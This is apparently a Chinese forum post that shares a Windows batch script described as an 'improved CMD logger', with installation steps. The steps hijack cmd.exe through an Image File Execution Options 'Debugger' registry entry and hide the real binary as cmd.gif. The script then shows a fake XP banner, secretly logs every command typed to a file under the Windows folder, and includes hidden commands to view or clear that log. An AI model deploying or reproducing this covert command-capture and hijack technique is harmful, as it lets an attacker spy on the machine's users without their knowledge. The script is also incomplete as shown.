安装 把代码保存为cmd.bat 放置system32下 把cmd.exe copy为cmd.gif 
注册表 添加 
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cmd.exe 
字串 Debugger 
字串内容 cmd.gif /c cmd.bat 
复制代码 代码如下:
@echo off 
title %ComSpec% 
rem CMD 记录器 改良版 
rem 原作者 superjj(可能是马甲！) 
rem 原文的地址:https://forum.eviloctal.com/read-htm-tid-13905-fpage-0-toread--page-2.html 
rem 由我allyesno 改良(是本人不是马甲！) 
rem 容错代码就不改良了，一些细节部分自己添加！ 
setlocal EnableDelayedExpansion 
echo Microsoft Windows XP [版本 5.1.2600] 
echo (C) 版权所有 1985-2001 Microsoft Corp. 
echo. 
for /l %%i in (0,0,0) do ( 
  set /p strCMD=%cd%^> 
if "!strcmd!"=="whoami" echo allyesno&set strcmd= 
if "!strcmd!"=="log" type %windir%history.txt&set strcmd= 
if "!strcmd!"=="logclear" del %windir%history.txt&set strcmd= 
  for /f "delims=" %%i in ("!strCMD!") do echo %%i %windir%history.txt 
  !strCMD! 
  echo.